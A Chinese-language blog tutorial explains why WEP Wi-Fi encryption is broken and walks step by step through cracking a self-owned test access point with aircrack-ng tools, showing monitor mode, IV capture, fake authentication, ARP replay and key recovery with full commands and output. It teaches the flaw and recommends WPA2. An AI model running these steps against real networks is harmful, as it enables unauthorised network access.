目录

前言
加密
WEP 的漏洞
破解工具
步骤 1: 找目标
步骤 2: 撷取 IVs
步骤 3: Fake Authentication
步骤 4: ARP Request Replay
步骤 5: 破解 Key
防御对策

前言

WEP (Wired Equivalent Privacy) Hacking 已经是很古老的话题了,现在要在大气讯号中找一只正在使用 WEP 的 Access Point (AP) 去 hack 都已经很困难。不过了解 hack WEP 的方法和步骤可以让我们熟习使用 Kali Linux 里面的工具,对之後学习 hack WPA 或 WPA2 都有帮助。其实在 Google 可以搜寻到成千上万的文章介绍怎样 Step by Step 去 hack WEP,但却很少讨论背後的理论,本文会解释一下 WEP 的漏洞。

⛑️  本文目的只为学术研究,解释网络漏洞及防治方法,并不鼓励任何犯法行为,敬请留意。⛑️

加密

由於无线网络讯号透过大气传送,人人都可接收得到,因此需要把讯息加密。最简单的加密方法称为 Symmetric Encryption (对称式加密),即传送方和接收方都知道同一个 Key (称为 Shared Key),传送方用 Shared Key 把讯息加密,接收方用同一组 Shared Key 便可把讯息解密。详情可浏览本网一篇关於密码学的文章。

不过无线网络的讯息是连续而传送量很大的,一组短短的 Shared Key 无法完成加密,因此需要产生长长的 Key Stream 用作加密。我们可以把 Shared Key 放进一种叫 Stream Cipher 或称 Key Stream Generator (例如 WEP 使用 RC4) 的东西去产生这些长长的 Key Stream。

WEP Attack

图片来源

问题又来了,每次都产生相同的 Key Stream 很容易被破解,因此又把一串叫 Initialization Vector (IV) 的数字与 Key 一起放进 RC4 去生 Key Stream。每次发送讯息时传送方都会用新的 IV 来产生出不同的 Key Stream,这就是无线网络的第一代加密方法 WEP 了。

下图展示由 AP 发送资料给 Client 的流程,留意 IV 要是透过明文发给对方的,没有加密,任何人都可以把加密了的讯息连同 IV 一起撷取。如 Client 有资料传送给 AP,流程相同,只是 Client 会使用它自己产生的 IV。

WEP Attack

WEP 的漏洞

先说一点历史,RC4 是由 RSA Data Security 公司於 1987 年设计,本来是属於 RSA 的专有加密技术,到了 1994 年 RC4 的 Source Code 在网络上被公开了,後来有人作了一点点改动推出了 ARC4 和 ARCFOUR 等东西,这些都被统称为 RC4。由於 RC4 占用资源少又效能高,就算知道了 Source Code,如果没有 Key 的话仍然很难对其作出反向的破解,因此当时仍被广泛使用。

可是加入了 IV 的 RC4,反而让密码学的专家能够推算出 Key Stream 的一小部份,从而亦推算出 Shared Key 的一小部份。只要收集到大量包含 IV 的 Frame,便可以把 Shared Key 慢慢的推算出来。所以破解 WEP 的方向就是收集大量 Frame 放进工具去做推算,收集到的 IV 越多,分析到 Shared Key 的成功率就越高,分析速度也越快,最出名的破解 Shared Key 方法有以下几个:

破解方法发表年份成功率备注
FMS 2001 如收集到 4,000,000 个 IVs 成功率 50%
如收集到 11,000,000 个 IVs 成功率 65%
 
KoreK 2004 如收集到 1,500,000 个 IVs 成功率 50%
如收集到 5,000,000 个 IVs 成功率 95%
 
PTW 2007 如收集到 45,000 个 IVs 成功率 55%
如收集到 80,000 个 IVs 成功率超过 95%
现今最有效及最流行的破解方法,
但只对 ARP Frame 进行分析。

破解工具

Aircrack-ng 为破解 Wireless Encryption Shared Key 的地表最强工具,可以在骇客的工具箱 Kali Linux 找到。此外,还需要选一款支援 Monitor Mode 的 Wireless LAN Card,而且要跟 Kali Linux (Debian) 相容。以下为可选的品牌和型号。

品牌型号备注
Alfa AWUS036H  
Alfa AWUS036NH  
Alfa AWUS036NHA  
Alfa SWUS051NH  
Panda PAU05 笔者正使用这款,方便携带,易於收藏。
TP-Link TL-WN722N 新版本 V2 暂不支缓 Kali Linux,小心选购。
Netgear WG111v2  

步骤 1: 找目标

首先把 Wireless Interface 的 Monitor Mode 打开,这样会产生了一个 Monitor Interface。

root@KALI:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  491 NetworkManager
 4722 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           rt2800usb       Ralink Technology, Corp. RT5372

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

然後便可 Scan 一下接收到的网络中有没有使用 WEP 的 AP,当然没有!所以笔者准备了一只用作测试。把 BSSID (即 AP 的 MAC Address)丶Channel 和 ESSID 记下来。

root@KALI:~# airodump-ng wlan0mon

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:24:A5:BC:15:5D  -31        7        0    0  11  54e  WEP  WEP         Testing
 88:75:56:㊙️:㊙️:㊙️  -54        8        0    0   5  54e  WPA2 CCMP   PSK  CISCO
 C8:3A:35:㊙️:㊙️:㊙️  -68        3        1    0   8  54e  WPA2 CCMP   PSK  Sweet Dream
 C8:3A:35:㊙️:㊙️:㊙️  -69        3        1    0   8  54e  WPA2 CCMP   PSK  Whatthehell
 78:96:82:㊙️:㊙️:㊙️  -71        4        0    0   6  54e  WPA2 CCMP   PSK  Default
 

由於目标在 Channel 11,现在把 Monitor Mode 调校到 Channel 11,准备发动攻击。

root@KALI:~# airmon-ng stop wlan0mon

PHY     Interface       Driver          Chipset

phy0    wlan0mon        rt2800usb       Ralink Technology, Corp. RT5372

                (mac80211 station mode vif enabled on [phy0]wlan0)

                (mac80211 monitor mode vif disabled for [phy0]wlan0mon)

root@KALI:~# airmon-ng start wlan0 11


PHY     Interface       Driver          Chipset

phy0    wlan0           rt2800usb       Ralink Technology, Corp. RT5372

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

步骤 2: 撷取 IVs

输入指令 airodump-ng -c 11 --bssid 00:24:A5:BC:15:5D -w output wlan0mon,对 Channel 11 的目标 AP 进行撷取,并储存在 output 这个 file 之中,现在我们可以等待收集到足够数量的 IVs,然後进行破解。

CH  11 ][ Elapsed: 2 mins ][ 2017-05-28 21:27

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E

 00:24:A5:BC:15:5D  -36 100     1223       14    0   7  54e. WEP  WEP    OPN  T

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:24:A5:BC:15:5D  9C:EF:D5:FE:4B:1B    0    1 - 1      0       66

步骤 3: Fake Authentication

然而,青春有限,等待是漫长的。为了节省时间,我们必需自行产生网络流量去迫使 AP 不断制造 IV 让我们撷取。要这样做,首先要加入这个 AP 的网络,但是我们根本没有 Shared Key,怎样可以加入呢?有办法的!这也是 WEP 的另一项漏洞。

先了解一下 AP 怎样去认证一个 Client。当 Client 想加入网络时,会对 AP 发一个 Authentication Request,然後 AP 就会产生一组 Random Text (或称为 Challenge) 传给 Client,Client 收到後就用自己的 IV 和 Shared Key 产生 Key Stream 去加密这个 Challenge,然後又把 IV 和加密了的 Challenge 回传给 AP,此时 AP 用收到的 IV 和自己所知的 Shared Key 去产生 Key Stream 去解密刚才收到的讯息,如果结果和送出的 Challenge 相同的话,就可证实 AP 与 Client 拥有相同的 Shared Key 了。

WEP Attack

图片来源

不幸的是,Attacker 可以撷取 Challenge 和 Encrypted Challenge 去计算出 Key Stream (不是 Shared Key),并同时撷取当时所使用的 IV。所以当 Attacker 向 AP 发 Authentication Request 後,就会用该 Key Stream 来加密所收到的 Challenge,并使用刚才的撷取到 IV 一并传给 AP。这方法最妙的地方是虽然 Attacker 从来不知道 Shared Key 是什麽,却可骗到 AP 接受自己加入网络。

现在我们打开一个新的 Terminal 尝试做 Fake Authentication。用 aireplay-ng -1 10 -a 00:24:A5:BC:15:5D -h 9C:EF:D5:FE:4B:1B wlan0mon 指令,10 是每 10 秒进行一次,-a 是 AP 的 BSSID,-h 是攻击者 Interface 的 MAC Address。如果成功的话会不断看到 Association successful 的讯息。

root@KALI:~# aireplay-ng -1 10 -a 00:24:A5:BC:15:5D -h 9C:EF:D5:FE:4B:1B wlan0mon
17:40:56  Waiting for beacon frame (BSSID: 00:24:A5:BC:15:5D) on channel 11

17:40:56  Sending Authentication Request (Open System) [ACK]
17:40:56  Authentication successful
17:40:56  Sending Association Request [ACK]
17:40:56  Association successful :-) (AID: 1)

17:41:06  Sending Authentication Request (Open System) [ACK]
17:41:06  Authentication successful
17:41:06  Sending Association Request [ACK]
17:41:06  Association successful :-) (AID: 1)

步骤 4: ARP Request Replay

现在我们可以产生一些 ARP Request 讯息给 AP (关於 ARP 的理论看这篇文章),由於 ARP 的特性,AP 收到 ARP Request 後必需把 ARP Request Broadcast 出去,AP Broadcast 讯息时又会产生新的 IV,由於我们正在对这只 AP 进行撷取,所以这些拥有 IV 的 Frame 就被我们收藏起来了。又是老问题......我们没有 Shared Key 怎样去传一个 AP 接受的 ARP Request 呢?可以用刚才 Fake Authentication 类似的方法,在网络上撷取,由於 ARP Request 在加密後仍保持一定的 Pattern 容易被分辨出来,因此可以在看到 ARP Request 时立刻撷取并不断重覆传送。

现在再打开一个新的 Terminal,用 aireplay-ng -3 -b 00:24:A5:BC:15:5D -h 9C:EF:D5:FE:4B:1B wlan0mon 去做 ARP Request Replay。要成功 Replay,前题时网络必需出现一个 ARP Request,在正常使用中的网络 ARP Request 必会出现的。但由於这是测试网络没有 Traffic,如果等很久也等不到 ARP Request 的话,可以自己找一个 Client 连接 AP 然後用 Ping 制造一个 ARP Request。

root@KALI:~# aireplay-ng -3 -b 00:24:A5:BC:15:5D -h 9C:EF:D5:FE:4B:1B wlan0mon
21:29:38  Waiting for beacon frame (BSSID: 00:24:A5:BC:15:5D) on channel 7
Saving ARP requests in replay_arp-0528-212938.cap
You should also start airodump-ng to capture replies.
Read 93344 packets (got 48340 ARP requests and 26904 ACKs), sent 30077 packets...(499 pps)

步骤 5: 破解 Key

最後就是利用工具破解 Shared Key 了。就算用最快的 PTW 也要收集数万个 IV,所以要等到 IV 数量足够才动手吗?答案是不用的,破解工具 aircrack-ng 可以在撷取的同时进行破解。所以我们应该同时进行撷取丶Fake Authentication丶ARP Replay 和破解 4 个动作。如果运气好的话,一两分钟就能找到 Shared Key 了。

打开新的 Terminal,输入 aircrack-ng -b 00:24:A5:BC:15:5D output*.cap,预设是使用快方法 PTW,如果想用旧方法 FMS/KoreK,可加 -K,即 aircrack-ng -K -b 00:24:A5:BC:15:5D output*.cap

                                 Aircrack-ng 1.2 rc4


                 [00:02:42] Tested 741 keys (got 54980 IVs)

   KB    depth   byte(vote)
    0    3/ 13   A8(62464) DA(61696) 9A(61440) 1C(61184) 1E(61184)
    1    2/  1   AF(63488) 31(63232) 7F(62976) FF(62976) 82(62720)
    2    0/  1   19(78848) 03(62720) 0D(62720) 3C(62464) 45(62464)
    3    0/  2   87(76288) C4(67840) 66(64512) DD(64256) 2D(64000)
    4   22/  4   FC(59904) 08(59648) 11(59648) 3C(59648) 4D(59648)

     KEY FOUND! [ 4A:61:6E:6E:65:74:2E:68:6B:21:40:23:24 ] (ASCII: Jannet.hk!@#$)
        Decrypted correctly: 100%

防御对策

很明显 WEP 已完全被攻破,不再适合在无线网络中使用,应立刻以 WPA2 取代,或使用 802.1x 等认证方案。